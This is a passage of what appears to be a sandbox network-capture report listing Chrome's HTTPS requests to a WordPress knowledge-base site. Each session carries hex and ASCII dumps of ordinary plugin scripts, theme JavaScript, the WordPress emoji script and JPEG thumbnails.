2025-04-15 14:03:08 UTC	3358	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 69 29 7b 69 66 28 65 5b 69 5d 29 72 65 74 75 72 6e 20 65 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 65 5b 69 5d 3d 7b 69 3a 69 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 69 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 6e 2e 6d 3d 74 2c 6e 2e 63 3d 65 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 29 7b 6e 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 69 7d 29 7d 2c 6e 2e 72 3d 66 75 6e Data Ascii: !function(t){var e={};function n(i){if(e[i])return e[i].exports;var r=e[i]={i:i,l:!1,exports:{}};return t[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=t,n.c=e,n.d=function(t,e,i){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:i})},n.r=fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49754	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	627	OUT	GET /wp-content/plugins/heroic-table-of-contents/dist/script.min.js?ver=1680234601 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	297	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 31 Mar 2023 03:50:01 GMT ETag: "32d-5f82a1a8c3777" Accept-Ranges: bytes Content-Length: 813 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2025-04-15 14:03:08 UTC	813	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 68 74 6f 63 5f 5f 74 6f 67 67 6c 65 22 29 3b 65 28 74 29 7d 3b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6c 61 73 73 4e 61 6d 65 2e 73 70 6c 69 74 28 22 20 22 29 2e 69 6e 64 65 78 4f 66 28 65 29 3e 2d 31 7d 3b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3b 76 61 72 20 6e 3d 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 69 66 28 21 6e 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d Data Ascii: (function(){"use strict";var t=function(){var t=document.getElementsByClassName("htoc__toggle");e(t)};var a=function(t,e){return t.className.split(" ").indexOf(e)>-1};var r=function(t){var e;var n=t.currentTarget.parentNode.parentNode;if(!n){return false}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49753	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	620	OUT	GET /wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.7.5.1 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	300	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Sat, 08 Apr 2023 06:26:36 GMT ETag: "2801-5f8cd39486b89" Accept-Ranges: bytes Content-Length: 10241 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2025-04-15 14:03:08 UTC	10241	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 64 3a 28 65 2c 73 29 3d 3e 7b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 73 29 74 2e 6f 28 73 2c 69 29 26 26 21 74 2e 6f 28 65 2c 69 29 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 69 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 73 5b 69 5d 7d 29 7d 2c 6f 3a 28 74 2c 65 29 3d 3e 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 65 29 2c 72 3a 74 3d 3e 7b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 74 6f 53 74 72 69 6e 67 54 61 67 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 53 Data Ascii: (()=>{"use strict";var t={d:(e,s)=>{for(var i in s)t.o(s,i)&&!t.o(e,i)&&Object.defineProperty(e,i,{enumerable:!0,get:s[i]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e),r:t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49755	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	450	OUT	GET /wp-content/uploads/sites/19/2022/07/section-1-100x100.jpg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:08:06 GMT ETag: "2179-603b5d0c5c584" Accept-Ranges: bytes Content-Length: 8569 Connection: close Content-Type: image/jpeg
2025-04-15 14:03:08 UTC	8569	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 11 00 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 12 00 00 08 4a 87 69 00 04 00 00 00 01 00 00 08 5c 9c 9d 00 01 00 00 00 24 00 00 10 d4 ea 1c 00 07 00 00 08 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIFExifMM*;Ji\$>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49756	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	449	OUT	GET /wp-content/uploads/sites/19/2022/07/section-3-77x100.jpg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:08:06 GMT ETag: "22d4-603b5d0c613a4" Accept-Ranges: bytes Content-Length: 8916 Connection: close Content-Type: image/jpeg
2025-04-15 14:03:08 UTC	8916	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 11 00 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 12 00 00 08 4a 87 69 00 04 00 00 00 01 00 00 08 5c 9c 9d 00 01 00 00 00 24 00 00 10 d4 ea 1c 00 07 00 00 08 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIFExifMM*;Ji\$>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49757	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	464	OUT	GET /wp-content/uploads/sites/19/2022/10/shutterstock_1919311319-100x100.jpg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:08:15 GMT ETag: "1ab4-603b5d14dd15d" Accept-Ranges: bytes Content-Length: 6836 Connection: close Content-Type: image/jpeg
2025-04-15 14:03:08 UTC	6836	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 00 bc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 06 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 56 01 1b 00 05 00 00 00 01 00 00 00 5e 01 28 00 03 00 00 00 01 00 02 00 00 02 13 00 03 00 00 00 01 00 01 00 00 87 69 00 04 00 00 00 01 00 00 00 66 00 00 00 00 00 00 01 2c 00 00 00 01 00 00 01 2c 00 00 00 01 00 06 90 00 00 07 00 00 00 04 30 32 31 30 91 01 00 07 00 00 00 04 01 02 03 00 a0 00 00 07 00 00 00 04 30 31 30 30 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 09 c4 a0 03 00 04 00 00 00 01 00 00 09 c4 00 00 00 00 ff ed 02 76 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 02 59 1c 02 19 01 88 73 79 6d 62 6f 6c 2c 61 75 74 Data Ascii: JFIF,,ExifMM*V^(if,,02100100vPhotoshop 3.08BIMYsymbol,aut

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49758	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	616	OUT	GET /wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.7.5.1 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:09 UTC	300	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:09 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Sat, 08 Apr 2023 06:26:36 GMT ETag: "328f-5f8cd39485be9" Accept-Ranges: bytes Content-Length: 12943 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2025-04-15 14:03:09 UTC	12943	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 65 3d 65 3d 3e 4d 61 74 68 2e 61 62 73 28 70 61 72 73 65 49 6e 74 28 65 2c 31 30 29 29 2c 74 3d 28 65 2c 74 29 3d 3e 7b 63 6f 6e 73 74 20 61 3d 6e 65 77 20 4d 61 70 28 5b 5b 22 69 6e 69 74 22 2c 22 69 6e 69 74 22 5d 2c 5b 22 76 61 6c 69 64 61 74 69 6f 6e 5f 66 61 69 6c 65 64 22 2c 22 69 6e 76 61 6c 69 64 22 5d 2c 5b 22 61 63 63 65 70 74 61 6e 63 65 5f 6d 69 73 73 69 6e 67 22 2c 22 75 6e 61 63 63 65 70 74 65 64 22 5d 2c 5b 22 73 70 61 6d 22 2c 22 73 70 61 6d 22 5d 2c 5b 22 61 62 6f 72 74 65 64 22 2c 22 61 62 6f 72 74 65 64 22 5d 2c 5b 22 6d 61 69 6c 5f 73 65 6e 74 22 2c 22 73 65 6e 74 22 5d 2c 5b 22 6d 61 69 6c 5f 66 61 69 6c 65 64 22 2c 22 66 61 69 6c 65 64 22 5d 2c 5b 22 73 75 62 Data Ascii: (()=>{"use strict";const e=e=>Math.abs(parseInt(e,10)),t=(e,t)=>{const a=new Map([["init","init"],["validation_failed","invalid"],["acceptance_missing","unaccepted"],["spam","spam"],["aborted","aborted"],["mail_sent","sent"],["mail_failed","failed"],["sub

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49759	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	449	OUT	GET /wp-content/uploads/sites/19/2022/07/section-4-100x89.jpg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:09 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:09 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:08:06 GMT ETag: "223f-603b5d0c64284" Accept-Ranges: bytes Content-Length: 8767 Connection: close Content-Type: image/jpeg
2025-04-15 14:03:09 UTC	8767	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 11 00 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 12 00 00 08 4a 87 69 00 04 00 00 00 01 00 00 08 5c 9c 9d 00 01 00 00 00 24 00 00 10 d4 ea 1c 00 07 00 00 08 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIFExifMM*;Ji\$>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49760	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:09 UTC	598	OUT	GET /wp-content/themes/knowall/js/js.min.js?ver=6.2.6 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:09 UTC	298	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:09 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Mon, 17 Apr 2023 22:41:46 GMT ETag: "48d-5f98fe5521212" Accept-Ranges: bytes Content-Length: 1165 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2025-04-15 14:03:09 UTC	1165	IN	Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 76 61 72 20 62 3d 61 28 22 2e 73 69 74 65 2d 68 65 61 64 65 72 5f 5f 62 61 6e 6e 65 72 22 29 2e 6f 75 74 65 72 48 65 69 67 68 74 28 21 30 29 3b 61 28 22 23 77 70 61 64 6d 69 6e 62 61 72 22 29 2e 6f 75 74 65 72 48 65 69 67 68 74 28 21 30 29 3b 61 28 22 2e 6e 61 76 2d 68 65 61 64 65 72 5f 5f 6d 65 6e 75 77 72 61 70 70 65 72 22 29 2e 63 73 73 28 7b 74 6f 70 3a 62 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 69 66 28 61 28 22 2e 68 6b 62 2d 61 72 63 68 69 76 65 2d 2d 73 74 79 6c 65 31 20 2e 68 6b 62 2d 61 72 63 68 69 76 65 2d 2d 73 74 79 6c 65 33 20 2e 68 6b 62 2d 61 72 63 68 Data Ascii: jQuery(document).ready(function(a){"use strict";function b(){var b=a(".site-header__banner").outerHeight(!0);a("#wpadminbar").outerHeight(!0);a(".nav-header__menuwrapper").css({top:b})}function c(){if(a(".hkb-archive--style1 .hkb-archive--style3 .hkb-arch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49761	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:09 UTC	601	OUT	GET /wp-content/themes/knowall/js/scrollspy.js?ver=6.2.6 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:09 UTC	299	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:09 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Mon, 17 Apr 2023 22:41:46 GMT ETag: "12a4-5f98fe5521212" Accept-Ranges: bytes Content-Length: 4772 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2025-04-15 14:03:09 UTC	4772	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 3a 20 73 63 72 6f 6c 6c 73 70 79 2e 6a 73 20 76 33 2e 33 2e 37 0a 20 2a 20 68 74 74 70 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 6a 61 76 61 73 63 72 69 70 74 2f 23 73 63 72 6f 6c 6c 73 70 79 0a 20 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 Data Ascii: /* ======================================================================== * Bootstrap: scrollspy.js v3.3.7 * http://getbootstrap.com/javascript/#scrollspy * ======================================================================== * Copyright 2011-20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49762	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:09 UTC	598	OUT	GET /wp-includes/js/wp-emoji-release.min.js?ver=6.2.6 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:09 UTC	328	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:09 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Sat, 08 Apr 2023 06:24:35 GMT ETag: "4904-5f8cd32141a12" Accept-Ranges: bytes Content-Length: 18692 Vary: Accept-Encoding Cache-Control: s-maxage=10 Connection: close Content-Type: application/javascript
2025-04-15 14:03:09 UTC	16384	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6d 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 76 2f 31 34 2e 30 2e 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 Data Ascii: /! This file is auto-generated /// Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var m={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typ
2025-04-15 14:03:09 UTC	2308	IN	Data Raw: 65 64 4e 6f 64 65 73 2c 31 3d 3d 3d 28 6e 3d 65 2e 6c 65 6e 67 74 68 29 26 26 31 3d 3d 3d 74 2e 6c 65 6e 67 74 68 26 26 33 3d 3d 3d 65 5b 30 5d 2e 6e 6f 64 65 54 79 70 65 26 26 22 49 4d 47 22 3d 3d 3d 74 5b 30 5d 2e 6e 6f 64 65 4e 61 6d 65 26 26 65 5b 30 5d 2e 64 61 74 61 3d 3d 3d 74 5b 30 5d 2e 61 6c 74 26 26 22 6c 6f 61 64 2d 66 61 69 6c 65 64 22 3d 3d 3d 74 5b 30 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 65 72 72 6f 72 22 29 29 72 65 74 75 72 6e 3b 66 6f 72 28 3b 6e 2d 2d 3b 29 7b 69 66 28 33 3d 3d 3d 28 61 3d 65 5b 6e 5d 29 2e 6e 6f 64 65 54 79 70 65 29 7b 69 66 28 21 61 2e 70 61 72 65 6e 74 4e 6f 64 65 29 63 6f 6e 74 69 6e 75 65 3b 69 66 28 6f 29 66 6f 72 28 3b 61 2e 6e 65 78 74 53 69 62 6c 69 6e 67 26 26 33 3d 3d 3d 61 2e 6e 65 Data Ascii: edNodes,1===(n=e.length)&&1===t.length&&3===e[0].nodeType&&"IMG"===t[0].nodeName&&e[0].data===t[0].alt&&"load-failed"===t[0].getAttribute("data-error"))return;for(;n--;){if(3===(a=e[n]).nodeType){if(!a.parentNode)continue;if(o)for(;a.nextSibling&&3===a.ne

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49765	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
